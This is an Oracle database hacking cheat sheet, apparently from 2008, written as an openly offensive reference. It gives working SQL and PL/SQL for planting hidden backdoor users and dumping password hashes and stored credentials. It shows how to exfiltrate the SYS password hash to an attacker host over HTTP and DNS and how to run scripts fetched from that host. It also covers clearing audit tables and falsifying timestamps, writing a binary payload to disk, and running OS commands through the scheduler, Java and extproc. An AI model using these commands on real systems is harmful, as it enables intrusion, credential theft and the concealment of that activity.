





This is only a small subset of possibilities to become DBA

SQL*Plus Commands (not always supported in other clients like TOAD, SQL*Navigator,...)

Connect with easy connect:

sqlplus dbsmp/dbsnmp@192.168.2.112:1521/orcl – works only with Oracle 10g/11g clients

SQL*Plus-Commands:

@http://www.orasplloit.com/becomedba.sql -- execute a SQL Script from a HTTP server (FTP is also possible)

show parameter -- show all parameters of the database

show parameter audit -- show audit settings

set term off -- disable terminal output

set term on -- enable terminal output

Set heading off -- disable headlines

Set pagesize 0 -- disable pagesize

Set timing on -- show execution time

Set autocommit on -- commit everything after every command (!dangerous!)

host cmd.exe /c Owned > c:\rds8.txt -- run OS commands from sqlplus (on the client), Instead of host the shortcuts ! (unix) or \$ (Windows) are also possible

set serveroutput on -- enable output from dbms_output

spool c:\myspool.txt -- create a logfile of the SQL*Plus Session called myspool.txt (disable: spool off)

desc utl_http -- show package specification of utl_http

desc all_users -- show view specification of all_users

Different ways to change Oracle Passwords:

With SQL*Plus Password cmd: password system;

With Alter user cmd: alter user system identified by rds2008;

With Alter user cmd: alter user system identified by values '737B466C2DF536B9';

With grant: grant connect to system identified by rds2008;

With update: update sys.user\$ set password = '737B466C2DF536B9' where name='SYSTEM';

-- Password not send in cleartext

-- Password send in cleartext over the network

-- Set a password hash directly

-- Password send in cleartext over the network

-- Unsupported, not auditable, flush of the dictionary cash necessary
(alter system flush shared_pool;)

Create Oracle User:

With create user cmd: create user user1 identified by rds2008; grant dba to user1;

With create role cmd: create role user1 identified by rds2008; update sys.user\$ set type#=1 where name='USER1';

With grant: grant dba to user1 identified by rds2008;

With grant: grant connect to user1,user2,user3,user4 identified by user1,user2,user3,user4;

Invisible User: update sys.user\$ set type#=2 where name='USER1';

-- Password send in cleartext over the network

-- Create a role and change the type. Not audited

-- Privilege granted, User will be created if not existing

-- Password send in cleartext over the network

-- Hide an user in the views dba_user/all_users, no view modification necessary

Get Patch Level:

Get Patchlevel via opatch: opatch lsinventory;

Get Patchlevel via SQL: select * from dba_registry_history;

-- Get the patchlevel via opatch (on DB server, OS level)

-- Get last CPU applied

Useful Tools / Links:

checkpwd: <http://www.red-database-security.com/software/checkpwd.html>

woraaauthbf http://soonerorlater.hu/download/woraaauthbf_0.2.zip

anapassword.sql <http://www.red-database-security.com/scripts/anapassword.sql>

dbgrep.sql <http://www.red-database-security.com/scripts/dbgrep.sql>

analistener.sql <http://www.red-database-security.com/scripts/analistener.sql>

tnscmd <http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd>

sidguess: <http://www.red-database-security.com/software/sidguess.zip>

Oracle Assessment Kit: <http://www.databasesecurity.com/dbsec/OAK.zip>

Oracle Instant Client <http://www.oracle.com/technology/software/tech/oci/instantclient/index.html>

Oracle SQL Developer <http://www.oracle.com/technology/software/products/sql/index.html>

Backtrack 2 <http://www.remote-exploit.org>

-- fastest multiplatform Oracle dictionary password cracker

-- fastest Oracle Brute Force cracker

-- get a list of application password + type

-- search for a specific string in the database

-- analyse Oracle listener log

-- control unprotected TNS Listener without Oracle Client

-- fastest Oracle dictionary password cracker

-- useful tools, e.g. to exploit the alter session bug

-- Oracle Instant Client

-- GUI Tool for Oracle in Java

-- Linux Live CD with many Oracle Security Tools

Information Retrieval:

```
Hacking Oracle - www.red-database-security.com - Version 1.5.0 - 29-Jan-2008
Get version: select * from v$version -- all users
Get security patchlevel: select * from dba_registry_history; -- only DBA, 9i+, empty or non existing table= no Security Patch
Installed database components: select * from dba_registry; -- only DBA
Get userlist: select * from all_users; -- all users
Get user & PW hashes(7-10g): select username,password,account_status from dba_users; -- only DBA until 10g R2
Get user & PW hashes(11g/10g): select name,password,spare4,accountstatus from sys.user$, sys.dba_users where user#=user_id; -- only DBA 11g R1
Get Apex password hashes: select user_name, web_password_raw from flows_030000.www_flow_fnd_user; -- only DBA, 030000 = APEX version 3.0, 020100=2.1
Decrypt Apex password hashes: select user_name, utl_http.request('http://md5.rednoize.com/?q=||web_password_raw||&b=MD5-Search')
from flows_030000.www_flow_fnd_user; -- only DBA, requires internet access from the database

Get Metalink account/password: select sysman.decrypt(aru_username), sysman.decrypt(aru_password) from sysman.mgmt_aru_credentials;-- only DBA, 10g
Get password of mgmt_view_user select view_username, sysman.decrypt(view_password) from sysman.mgmt_view_user_credentials; -- only DBA, 10g
Get passwords of DB/Grid control: select credential_set_column, sysman.decrypt(credential_value) from sysman.mgmt_credentials2; -- only DBA, 10g
TDE encrypted tables: select table_name,column_name,encryption_alg,salt from dba_encrypted_columns; -- only DBA, 10g - 11g
Show code using encryption: select owner, name, type, referenced_name from all_dependencies where referenced_name
IN ('DBMS_CRYPTO', 'DBMS_OBFUSCATION_TOOLKIT') -- show objects using database encryption (e.g. for passwords)

Already DBA? desc dba_users -- only possible if DBA (or select any dictionary), not audited
Get system privileges: select * from user_sys_privs; -- show system privileges of the current user
Get role privileges: select * from user_role_privs; -- show role privileges of the current user
Get table privileges: select * from user_tab_privs; -- show table privileges of the current user
Get interesting tables: select table_name,column_name,owner from dba_tab_columns where ((upper(column_name)
like '%PWD%' or upper(column_name) like '%PASSW%' or upper(column_name) like '%CREDEN%' or
upper(column_name) like '%AUTH%')) -- show tables with columns containing the string 'PWD', ...
-- the scripts anapassword.sql is checking all objects

Get tables with passwords: @anapassword.sql -- run the SQL script anapassword.sql
Get a list of all Oracle directories: select * from dba_directories; -- show Oracle directories
Access SQL history (v$sql): select sql_text from sys.v$sql where lower(sql_text) like '%utl_http%'; -- search all SQL statements in the database containing the string utl_http
Access SQL history (wrh$_sqltext): select sql_text from sys.wrh$_sqltext where lower(sql_text) like '%utl_http%'; -- search all SQL statements containing the string utl_http
Check, if audit_sys_operations: select name,value from v$parameter where name = 'audit_sys_operations'; -- check if commands submitted by SYS are audited
Check for database trigger: select owner,trigger_name from dba_triggers where trigger_type='AFTER EVENT'; -- check for logon, dll or startup/shutdown trigger
Search strings in tables (dbgrep) @dbgrep.sql -- run the SQL script dbgrep.sql (from RDS)
Get information from listener.log @analistener.sql -- run the SQL script analistener.sql (from RDS)
```

Web Access:

```
Web access via utl_http: select utl_http.request('http://www.oraspl0it.com/utl_http') from dual; -- all users,, 8-10g R2
Web access via httpuritype: select httpuritype( 'http://www.oraspl0it.com/httpuritype' ).getclob() from dual; -- all users,, 8-10g R2
Send password hash to webserver: select utl_http.request('http://www.oraspl0it.com/'||(select username||'='||password from dba_users
where username='SYS')) from dual; -- only DBA, change value of username for other users

Send password hash to webserver: select httpuritype('http://www.oraspl0it.com/'||(select username||'='||password from dba_users
where username='SYS')).getclob() from dual; -- only DBA, change value of username for other users

Send password hash via DNS: select utl_http.request('http://www.'||(select username||'='||password from dba_users
where username='SYS'))||'.oraspl0it.com/' ) from dual; -- only DBA, change value of username for other users
```

Anti-Forensics:

```
Clear v$sql: alter system flush shared pool; -- only DBA, all versions
Clear sys.wrh$_sqlstat: truncate table sys.wrh$_sqlstat; -- only DBA, 10g/11g
Clear audit-Table: truncate table sys.aud$; -- only as SYS, all versions
Clear audit-Table: delete table sys.aud$; -- only, all versions
Change object creation date: update sys.obj$ set ctime=sysdate-300, mtime=sysdate-300, stime=sysdate-300 where name='AUD$'; -- change the creation date of an object
```

Write Binary Files via utl_file:

Create or replace directory EXT as 'C:\';

```
DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32767);
BEGIN
bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850E8060083
C402CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC
3558BEC8B5E088B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F
2C20576F726C64210D0A');
fi:=UTL_FILE.FOPEN('EXT','rds2007.com','w',32767);
UTL_FILE.PUT_RAW(fi,bu,TRUE);
UTL_FILE.FCLOSE(fi);
END;
/
```

Write Text Files via utl_file:

Create or replace directory EXT as 'C:\';

```
DECLARE
v_file UTL_FILE.FILE_TYPE;
BEGIN
v_file := UTL_FILE.FOPEN('C:\','rds1.txt', 'w');
UTL_FILE.PUT_LINE(v_file,'first row');
UTL_FILE.NEW_LINE (v_file);
UTL_FILE.PUT_LINE(v_file,'second row');
UTL_FILE.FCLOSE(v_file);
END;
```

Write Text Files via dbms_advisor:

(10g/11g, requires the privilege advisor)

Create or replace directory EXT as 'C:\';
grant advisor to user1;
exec dbms_advisor.create_file ('hacked', EXT, 'rds2.txt')

Read Files via Java:

grant javasyspriv to user1;

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE" AS
import java.lang.*;
import java.io.*;

```
public class JAVAREADFILE{
    public static void readfile(String filename) throws IOException{
        FileReader f = new FileReader(filename);
        BufferedReader fr = new BufferedReader(f);
        String text = fr.readLine();
        while(text != null){
            System.out.println(text);
            text = fr.readLine();
        }
        fr.close();
    }
};
```

```
CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN
VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVAREADFILE.readfile (java.lang.String)';
/

set serveroutput on size 100000
exec dbms_java.set_output(2000);
exec JAVAREADFILEPROC('C:\boot.ini')
```

Run OS Commands via dbms_scheduler: (10g/11g only)

```
-- Create a Program for dbms_scheduler
exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\
WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE);
-- Create, execute and delete a Job for dbms_scheduler
exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name
=> 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date =>
NULL,enabled => TRUE,auto_drop => TRUE);
-- delete the program
exec DBMS_SCHEDULER.drop_program(PROGRAM_NAME => 'RDS2008');
-- Purge the logfile for dbms_scheduler
--exec DBMS_SCHEDULER.PURGE_LOG;
```

Run OS Commands via Java:

(requires Java in the Database)

grant javasyspriv to user1;

```
create or replace and resolce java source name "JAVACMD" AS
import java.lang.*;
import java.io.*;

public class JAVACMD
{
    public static void execCommand (String command) throws IOException {
        Runtime.getRuntime().exec(command);}
};
/
```

Create or replace procedure javacmdproc (p_command in varchar2)
as language java
name 'JAVACMD.execCommand (java.lang.String)';
/

exec javacmdproc('cmd.exe /c echo 0wned > c:\rds4.txt');

Run OS Commands via ALTER SYSTEM & PL/SQL native:

(9i)

```
alter system set plsql_native_make_utility='cmd.exe /c echo 0wned > c:\rds5.txt &';
alter session set plsql_compiler_flags='NATIVE';
Create or replace procedure rds as begin null; end;
/
```

Run OS Commands via Extproc

```
-- Since 9i extproc can only run DLLs from the Oracle_Home-Bin directory
-- copy the msvcr7.dll to this directory before executing this code
Grant create any library to user1;
Create or replace library exec_shell AS 'C:\oracle\ora102\bin\msvcr7.dll';
Create or replace package oracmd is procedure exec(cmdstring IN CHAR); end oracmd; /
Create or replace package body oracmd IS
    procedure exec(cmdstring IN CHAR)
    is external NAME "system"
    library exec_shell LANGUAGE C;
```

```
end oracmd;
/
exec oracmd.exec('cmd.exe /c echo 0wned > c:\rds7.txt');
```